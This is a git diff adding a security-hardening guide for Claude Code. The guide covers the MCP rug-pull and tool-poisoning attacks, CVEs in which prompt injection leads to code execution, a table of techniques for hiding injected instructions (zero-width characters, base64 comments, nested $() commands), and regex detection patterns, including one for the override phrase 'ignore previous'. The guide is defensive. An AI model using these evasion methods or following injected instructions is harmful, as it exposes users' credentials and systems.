# Sometimes used to embed hidden data
|
||||
if echo "$CONTENT" | grep -qP '[\x{E0000}-\x{E007F}]'; then
|
||||
echo "BLOCKED: Unicode tag characters detected (U+E0000-E007F). These can embed invisible data." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === OVERLONG UTF-8 SEQUENCES ===
|
||||
# Detect potential overlong encodings (e.g., encoding '/' as C0 AF instead of 2F)
|
||||
# These can bypass path filters
|
||||
# Check for C0 or C1 bytes followed by 80-BF (overlong 2-byte sequences)
|
||||
if echo "$CONTENT" | grep -qP '[\xC0-\xC1][\x80-\xBF]'; then
|
||||
echo "BLOCKED: Overlong UTF-8 sequence detected. These can bypass security filters." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === HOMOGLYPHS WARNING ===
|
||||
# Detect Cyrillic characters that look like Latin (confusables)
|
||||
# Common in typosquatting and filter bypass
|
||||
# а (U+0430) vs a, е (U+0435) vs e, о (U+043E) vs o, etc.
|
||||
HOMOGLYPHS_FOUND=false
|
||||
if echo "$CONTENT" | grep -qP '[\x{0430}\x{0435}\x{043E}\x{0440}\x{0441}\x{0445}]'; then
|
||||
HOMOGLYPHS_FOUND=true
|
||||
fi
|
||||
if echo "$CONTENT" | grep -qP '[\x{0391}-\x{03C9}]' && echo "$CONTENT" | grep -qP '[a-zA-Z]'; then
|
||||
# Greek mixed with Latin
|
||||
HOMOGLYPHS_FOUND=true
|
||||
fi
|
||||
|
||||
if [[ "$HOMOGLYPHS_FOUND" == "true" ]]; then
|
||||
# Warning only - could be legitimate multilingual content
|
||||
echo '{"systemMessage": "Warning: Potential homoglyph characters detected (Cyrillic/Greek mixed with Latin). Verify this is not an attempt to bypass filters."}'
|
||||
fi
|
||||
|
||||
# All checks passed
|
||||
exit 0
|
||||
|
|
@ -393,4 +393,4 @@ where.exe claude; claude doctor; claude mcp list
|
|||
|
||||
**Author**: Florian BRUNIAUX | [@Méthode Aristote](https://methode-aristote.fr) | Written with Claude
|
||||
|
||||
*Last updated: January 2026 | Version 3.5.0*
|
||||
*Last updated: January 2026 | Version 3.6.0*
|
||||
|
|
|
|||
434
guide/security-hardening.md
Normal file
434
guide/security-hardening.md
Normal file
|
|
@ -0,0 +1,434 @@
|
|||
# Security Hardening Guide
|
||||
|
||||
> **Confidence**: Tier 2 — Based on CVE disclosures, security research (2024-2025), and community validation
|
||||
>
|
||||
> **Scope**: Active threats (attacks, injection, CVE). For data retention and privacy, see [data-privacy.md](./data-privacy.md)
|
||||
|
||||
---
|
||||
|
||||
## TL;DR - Decision Matrix
|
||||
|
||||
| Your Situation | Immediate Action | Time |
|
||||
|----------------|------------------|------|
|
||||
| **Solo dev, public repos** | Install output scanner hook | 5 min |
|
||||
| **Team, sensitive codebase** | + MCP vetting + injection hooks | 30 min |
|
||||
| **Enterprise, production** | + ZDR + integrity verification | 2 hours |
|
||||
|
||||
**Right now**: Check your MCPs against the [Safe List](#mcp-safe-list-community-vetted) below.
|
||||
|
||||
> **NEVER**: Approve MCPs from unknown sources without version pinning.
|
||||
> **NEVER**: Run database MCPs on production without read-only credentials.
|
||||
|
||||
---
|
||||
|
||||
## Part 1: Prevention (Before You Start)
|
||||
|
||||
### 1.1 MCP Vetting Workflow
|
||||
|
||||
Model Context Protocol (MCP) servers extend Claude Code's capabilities but introduce significant attack surface. Understanding the threat model is essential.
|
||||
|
||||
#### Attack: MCP Rug Pull
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 1. Attacker publishes benign MCP "code-formatter" │
|
||||
│ ↓ │
|
||||
│ 2. User adds to ~/.claude/mcp.json, approves once │
|
||||
│ ↓ │
|
||||
│ 3. MCP works normally for 2 weeks (builds trust) │
|
||||
│ ↓ │
|
||||
│ 4. Attacker pushes malicious update (no re-approval!) │
|
||||
│ ↓ │
|
||||
│ 5. MCP exfiltrates ~/.ssh/*, .env, credentials │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
MITIGATION: Version pinning + hash verification + monitoring
|
||||
```
|
||||
|
||||
This attack exploits the one-time approval model: once you approve an MCP, updates execute automatically without re-consent.
|
||||
|
||||
#### CVE Summary (2025)
|
||||
|
||||
| CVE | Severity | Impact | Mitigation |
|
||||
|-----|----------|--------|------------|
|
||||
| **CVE-2025-53109/53110** | High | Filesystem MCP sandbox escape via prefix bypass + symlinks | Avoid Filesystem MCP or apply patch |
|
||||
| **CVE-2025-54135** | High (8.6) | RCE in Cursor via prompt injection rewriting mcp.json | File integrity monitoring hook |
|
||||
| **CVE-2025-54136** | High | Persistent team backdoor via post-approval config tampering | Git hooks + hash verification |
|
||||
| **CVE-2025-49596** | Critical (9.4) | RCE in MCP Inspector tool | Update to patched version |
|
||||
|
||||
**Source**: [Cymulate EscapeRoute](https://cymulate.com/blog/cve-2025-53109-53110-escaperoute-anthropic/), [Checkpoint MCPoison](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/), [Cato CurXecute](https://www.catonetworks.com/blog/curxecute-rce/)
|
||||
|
||||
#### Attack Patterns
|
||||
|
||||
| Pattern | Description | Detection |
|
||||
|---------|-------------|-----------|
|
||||
| **Tool Poisoning** | Malicious instructions in tool metadata (descriptions, schemas) influence LLM before execution | Schema diff monitoring |
|
||||
| **Rug Pull** | Benign server turns malicious after gaining trust | Version pinning + hash verify |
|
||||
| **Confused Deputy** | Attacker registers tool with trusted name on untrusted server | Namespace verification |
|
||||
|
||||
#### 5-Minute MCP Audit
|
||||
|
||||
Before adding any MCP server, complete this checklist:
|
||||
|
||||
| Step | Command/Action | Pass Criteria |
|
||||
|------|----------------|---------------|
|
||||
| **1. Source** | `gh repo view <mcp-repo>` | Stars >50, commits <30 days |
|
||||
| **2. Permissions** | Review `mcp.json` config | No `--dangerous-*` flags |
|
||||
| **3. Version** | Check version string | Pinned (not "latest" or "main") |
|
||||
| **4. Hash** | `sha256sum <mcp-binary>` | Matches release checksum |
|
||||
| **5. Audit** | Review recent commits | No suspicious changes |
|
||||
|
||||
#### MCP Safe List (Community Vetted)
|
||||
|
||||
| MCP Server | Status | Notes |
|
||||
|------------|--------|-------|
|
||||
| `@anthropic/mcp-server-*` | Safe | Official Anthropic servers |
|
||||
| `context7` | Safe | Read-only documentation lookup |
|
||||
| `sequential-thinking` | Safe | No external access, local reasoning |
|
||||
| `memory` | Safe | Local file-based persistence |
|
||||
| `filesystem` (unrestricted) | Risk | CVE-2025-53109/53110 - use with caution |
|
||||
| `database` (prod credentials) | Unsafe | Exfiltration risk - use read-only |
|
||||
| `browser` (full access) | Risk | Can navigate to malicious sites |
|
||||
|
||||
*Last updated: 2026-01-15. [Report new assessments](../../issues)*
|
||||
|
||||
#### Secure MCP Configuration Example
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"context7": {
|
||||
"command": "npx",
|
||||
"args": ["-y", "@context7/mcp-server@1.2.3"],
|
||||
"env": {}
|
||||
},
|
||||
"database": {
|
||||
"command": "npx",
|
||||
"args": ["-y", "@company/db-mcp@2.0.1"],
|
||||
"env": {
|
||||
"DB_HOST": "readonly-replica.internal",
|
||||
"DB_USER": "readonly_user"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Key practices**:
|
||||
- Pin exact versions (`@1.2.3`, not `@latest`)
|
||||
- Use read-only database credentials
|
||||
- Minimize environment variables exposed
|
||||
|
||||
### 1.2 Repository Pre-Scan
|
||||
|
||||
Before opening untrusted repositories, scan for injection vectors:
|
||||
|
||||
**High-risk files to inspect**:
|
||||
- `README.md`, `SECURITY.md` — Hidden HTML comments with instructions
|
||||
- `package.json`, `pyproject.toml` — Malicious scripts in hooks
|
||||
- `.cursor/`, `.claude/` — Tampered configuration files
|
||||
- `CONTRIBUTING.md` — Social engineering instructions
|
||||
|
||||
**Quick scan command**:
|
||||
```bash
|
||||
# Check for hidden instructions in markdown
|
||||
grep -r "<!--" . --include="*.md" | head -20
|
||||
|
||||
# Check for suspicious npm scripts
|
||||
jq '.scripts' package.json 2>/dev/null
|
||||
|
||||
# Check for base64 in comments
|
||||
grep -rE "#.*[A-Za-z0-9+/]{20,}={0,2}" . --include="*.py" --include="*.js"
|
||||
```
|
||||
|
||||
Use the [repo-integrity-scanner.sh](../examples/hooks/bash/repo-integrity-scanner.sh) hook for automated scanning.
|
||||
|
||||
---
|
||||
|
||||
## Part 2: Detection (While You Work)
|
||||
|
||||
### 2.1 Prompt Injection Detection
|
||||
|
||||
Coding assistants are vulnerable to indirect prompt injection through code context. Attackers embed instructions in files that Claude reads automatically.
|
||||
|
||||
#### Evasion Techniques
|
||||
|
||||
| Technique | Example | Risk | Detection |
|
||||
|-----------|---------|------|-----------|
|
||||
| **Zero-width chars** | `U+200B`, `U+200C`, `U+200D` | Instructions invisible to humans | Unicode regex |
|
||||
| **RTL override** | `U+202E` reverses text display | Hidden command appears normal | Bidirectional scan |
|
||||
| **ANSI escape** | `\x1b[` terminal sequences | Terminal manipulation | Escape filter |
|
||||
| **Null byte** | `\x00` truncation attacks | Bypass string checks | Null detection |
|
||||
| **Base64 comments** | `# SGlkZGVuOiBpZ25vcmU=` | LLM decodes automatically | Entropy check |
|
||||
| **Nested commands** | `$(evil_command)` | Bypass denylist via substitution | Pattern block |
|
||||
| **Homoglyphs** | Cyrillic `а` vs Latin `a` | Keyword filter bypass | Normalization |
|
||||
|
||||
#### Detection Patterns
|
||||
|
||||
```bash
|
||||
# Zero-width + RTL + Bidirectional
|
||||
[\x{200B}-\x{200D}\x{FEFF}\x{202A}-\x{202E}\x{2066}-\x{2069}]
|
||||
|
||||
# ANSI escape sequences (terminal injection)
|
||||
\x1b\[|\x1b\]|\x1b\(
|
||||
|
||||
# Null bytes (truncation attacks)
|
||||
\x00
|
||||
|
||||
# Tag characters (invisible Unicode block)
|
||||
[\x{E0000}-\x{E007F}]
|
||||
|
||||
# Base64 in comments (high entropy)
|
||||
[#;].*[A-Za-z0-9+/]{20,}={0,2}
|
||||
|
||||
# Nested command execution
|
||||
\$\([^)]+\)|\`[^\`]+\`
|
||||
```
|
||||
|
||||
#### Existing vs New Patterns
|
||||
|
||||
The [prompt-injection-detector.sh](../examples/hooks/bash/prompt-injection-detector.sh) hook includes:
|
||||
|
||||
| Pattern | Status | Location |
|
||||
|---------|--------|----------|
|
||||
| Role override (`ignore previous`) | Exists | Lines 50-72 |
|
||||
| Jailbreak attempts | Exists | Lines 74-95 |
|
||||
| Authority impersonation | Exists | Lines 120-145 |
|
||||
| Base64 payload detection | Exists | Lines 148-160 |
|
||||
| Zero-width characters | **New** | Added in v3.6.0 |
|
||||
| ANSI escape sequences | **New** | Added in v3.6.0 |
|
||||
| Null byte injection | **New** | Added in v3.6.0 |
|
||||
| Nested command `$()` | **New** | Added in v3.6.0 |
|
||||
|
||||
### 2.2 Secret & Output Monitoring
|
||||
|
||||
#### Tool Comparison
|
||||
|
||||
| Tool | Recall | Precision | Speed | Best For |
|
||||
|------|--------|-----------|-------|----------|
|
||||
| **Gitleaks** | 88% | 46% | Fast (~2 min/100K commits) | Pre-commit hooks |
|
||||
| **TruffleHog** | 52% | 85% | Slow (~15 min) | CI verification |
|
||||
| **GitGuardian** | 80% | 95% | Cloud | Enterprise monitoring |
|
||||
| **detect-secrets** | 60% | 98% | Fast | Baseline approach |
|
||||
|
||||
**Recommended stack**:
|
||||
```
|
||||
Pre-commit → Gitleaks (catch early, accept some FP)
|
||||
CI/CD → TruffleHog (verify with API validation)
|
||||
Monitoring → GitGuardian (if budget allows)
|
||||
```
|
||||
|
||||
#### Environment Variable Leakage
|
||||
|
||||
58% of leaked credentials are "generic secrets" (passwords, tokens without recognizable format). Watch for:
|
||||
|
||||
| Vector | Example | Mitigation |
|
||||
|--------|---------|------------|
|
||||
| `env` / `printenv` output | Dumps all environment | Block in output scanner |
|
||||
| `/proc/self/environ` access | Linux env read | Block file access pattern |
|
||||
| Error messages with creds | Stack trace with DB password | Redact before display |
|
||||
| Bash history exposure | Commands with inline secrets | History sanitization |
|
||||
|
||||
#### MCP Secret Scanner (Conceptual)
|
||||
|
||||
```bash
|
||||
# Add Gitleaks as MCP tool for on-demand scanning
|
||||
claude mcp add gitleaks-scanner -- gitleaks detect --source . --report-format json
|
||||
|
||||
# Usage in conversation
|
||||
"Scan this repo for secrets before I commit"
|
||||
```
|
||||
|
||||
### 2.3 Hook Stack Setup
|
||||
|
||||
Recommended security hook configuration for `~/.claude/settings.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"hooks": {
|
||||
"PreToolUse": [
|
||||
{
|
||||
"matcher": "Bash",
|
||||
"hooks": [
|
||||
"~/.claude/hooks/dangerous-actions-blocker.sh"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Edit|Write",
|
||||
"hooks": [
|
||||
"~/.claude/hooks/prompt-injection-detector.sh",
|
||||
"~/.claude/hooks/unicode-injection-scanner.sh"
|
||||
]
|
||||
}
|
||||
],
|
||||
"PostToolUse": [
|
||||
{
|
||||
"matcher": "Bash",
|
||||
"hooks": [
|
||||
"~/.claude/hooks/output-secrets-scanner.sh"
|
||||
]
|
||||
}
|
||||
],
|
||||
"SessionStart": [
|
||||
"~/.claude/hooks/mcp-config-integrity.sh"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Hook installation**:
|
||||
```bash
|
||||
# Copy hooks to Claude directory
|
||||
cp examples/hooks/bash/*.sh ~/.claude/hooks/
|
||||
chmod +x ~/.claude/hooks/*.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Part 3: Response (When Things Go Wrong)
|
||||
|
||||
### 3.1 Secret Exposed
|
||||
|
||||
**First 15 minutes** (stop the bleeding):
|
||||
|
||||
1. **Revoke immediately**
|
||||
```bash
|
||||
# AWS
|
||||
aws iam delete-access-key --access-key-id AKIA... --user-name <user>
|
||||
|
||||
# GitHub
|
||||
# Settings → Developer settings → Personal access tokens → Revoke
|
||||
|
||||
# Stripe
|
||||
# Dashboard → Developers → API keys → Roll key
|
||||
```
|
||||
|
||||
2. **Confirm exposure scope**
|
||||
```bash
|
||||
# Check if pushed to remote
|
||||
git log --oneline origin/main..HEAD
|
||||
|
||||
# Search for the secret pattern
|
||||
git log -p | grep -E "(AKIA|sk_live_|ghp_|xoxb-)"
|
||||
|
||||
# Full repo scan
|
||||
gitleaks detect --source . --report-format json > exposure-report.json
|
||||
```
|
||||
|
||||
**First hour** (assess damage):
|
||||
|
||||
3. **Audit git history**
|
||||
```bash
|
||||
# If pushed, you may need to rewrite history
|
||||
git filter-repo --invert-paths --path <file-with-secret>
|
||||
# WARNING: This rewrites history - coordinate with team
|
||||
```
|
||||
|
||||
4. **Scan dependencies** for leaked keys in logs or configs
|
||||
|
||||
5. **Check CI/CD logs** for secret exposure in build outputs
|
||||
|
||||
**First 24 hours** (remediate):
|
||||
|
||||
6. **Rotate ALL related credentials** (assume lateral movement)
|
||||
|
||||
7. **Notify team/compliance** if required (GDPR, SOC2, HIPAA)
|
||||
|
||||
8. **Document incident timeline** for post-mortem
|
||||
|
||||
### 3.2 MCP Compromised
|
||||
|
||||
If you suspect an MCP server has been compromised:
|
||||
|
||||
1. **Disable immediately**
|
||||
```bash
|
||||
# Remove from config
|
||||
jq 'del(.mcpServers.<suspect>)' ~/.claude/mcp.json > tmp && mv tmp ~/.claude/mcp.json
|
||||
|
||||
# Or edit manually and restart Claude
|
||||
```
|
||||
|
||||
2. **Verify config integrity**
|
||||
```bash
|
||||
# Check for unauthorized changes
|
||||
sha256sum ~/.claude/mcp.json
|
||||
diff ~/.claude/mcp.json ~/.claude/mcp.json.backup
|
||||
|
||||
# Check project-level config too
|
||||
cat .mcp.json 2>/dev/null
|
||||
```
|
||||
|
||||
3. **Audit recent actions**
|
||||
- Review session logs in `~/.claude/logs/`
|
||||
- Check for unexpected file modifications
|
||||
- Scan for new files in sensitive directories
|
||||
|
||||
4. **Restore from known-good backup**
|
||||
```bash
|
||||
cp ~/.claude/mcp.json.backup ~/.claude/mcp.json
|
||||
```
|
||||
|
||||
### 3.3 Automated Security Audit
|
||||
|
||||
For comprehensive security scanning, use the [security-auditor agent](../examples/agents/security-auditor.md):
|
||||
|
||||
```bash
|
||||
# Run OWASP-based security audit
|
||||
claude -a security-auditor "Audit this project for security vulnerabilities"
|
||||
```
|
||||
|
||||
The agent checks:
|
||||
- Dependency vulnerabilities (npm audit, pip-audit)
|
||||
- Code security patterns (OWASP Top 10)
|
||||
- Configuration security (exposed secrets, weak permissions)
|
||||
- MCP server risk assessment
|
||||
|
||||
---
|
||||
|
||||
## Appendix: Quick Reference
|
||||
|
||||
### Security Posture Levels
|
||||
|
||||
| Level | Measures | Time | For |
|
||||
|-------|----------|------|-----|
|
||||
| **Basic** | Output scanner + dangerous blocker | 5 min | Solo dev, experiments |
|
||||
| **Standard** | + Injection hooks + MCP vetting | 30 min | Teams, sensitive code |
|
||||
| **Hardened** | + Integrity verification + ZDR | 2 hours | Enterprise, production |
|
||||
|
||||
### Command Quick Reference
|
||||
|
||||
```bash
|
||||
# Scan for secrets
|
||||
gitleaks detect --source . --verbose
|
||||
|
||||
# Check MCP config
|
||||
cat ~/.claude/mcp.json | jq '.mcpServers | keys'
|
||||
|
||||
# Verify hook installation
|
||||
ls -la ~/.claude/hooks/
|
||||
|
||||
# Test Unicode detection
|
||||
echo -e "test\u200Bhidden" | grep -P '[\x{200B}-\x{200D}]'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## See Also
|
||||
|
||||
- [Data Privacy Guide](./data-privacy.md) — Retention policies, compliance, what data leaves your machine
|
||||
- [Security Checklist Skill](../examples/skills/security-checklist.md) — OWASP Top 10 patterns for code review
|
||||
- [Security Auditor Agent](../examples/agents/security-auditor.md) — Automated vulnerability scanning
|
||||
- [Ultimate Guide §7.4](./ultimate-guide.md#74-security-hooks) — Hook system basics
|
||||
- [Ultimate Guide §8.6](./ultimate-guide.md#86-mcp-security) — MCP security overview
|
||||
|
||||
## References
|
||||
|
||||
- **CVE-2025-53109/53110** (EscapeRoute): [Cymulate Blog](https://cymulate.com/blog/cve-2025-53109-53110-escaperoute-anthropic/)
|
||||
- **CVE-2025-54135** (CurXecute): [Cato Networks](https://www.catonetworks.com/blog/curxecute-rce/)
|
||||
- **CVE-2025-54136** (MCPoison): [Checkpoint Research](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
|
||||
- **GitGuardian State of Secrets 2025**: [gitguardian.com](https://www.gitguardian.com/state-of-secrets-sprawl-report-2025)
|
||||
- **Prompt Injection Research**: [Arxiv 2509.22040](https://arxiv.org/abs/2509.22040)
|
||||
- **MCP Security Best Practices**: [modelcontextprotocol.io](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices)
|
||||
|
||||
---
|
||||
|
||||
*Version 1.0.0 | January 2026 | Part of [Claude Code Ultimate Guide](../README.md)*
|
||||
|
|
@ -4786,6 +4786,8 @@ exit 0
|
|||
|
||||
Security hooks are critical for protecting your system.
|
||||
|
||||
> **Advanced patterns**: For comprehensive security including Unicode injection detection, MCP config integrity verification, and CVE-specific mitigations, see [Security Hardening Guide](./security-hardening.md).
|
||||
|
||||
### Recommended Security Rules
|
||||
|
||||
```bash
|
||||
|
|
@ -5480,6 +5482,8 @@ claude plugin uninstall <conflicting-plugin>
|
|||
|
||||
MCP servers extend Claude Code's capabilities, but they also expand its attack surface. Before installing any MCP server, especially community-created ones, apply the same security scrutiny you'd use for any third-party code dependency.
|
||||
|
||||
> **CVE details & advanced vetting**: For documented CVEs (2025-53109/53110, 54135, 54136), MCP Safe List, and incident response procedures, see [Security Hardening Guide](./security-hardening.md).
|
||||
|
||||
### Pre-Installation Checklist
|
||||
|
||||
Before adding an MCP server to your configuration:
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue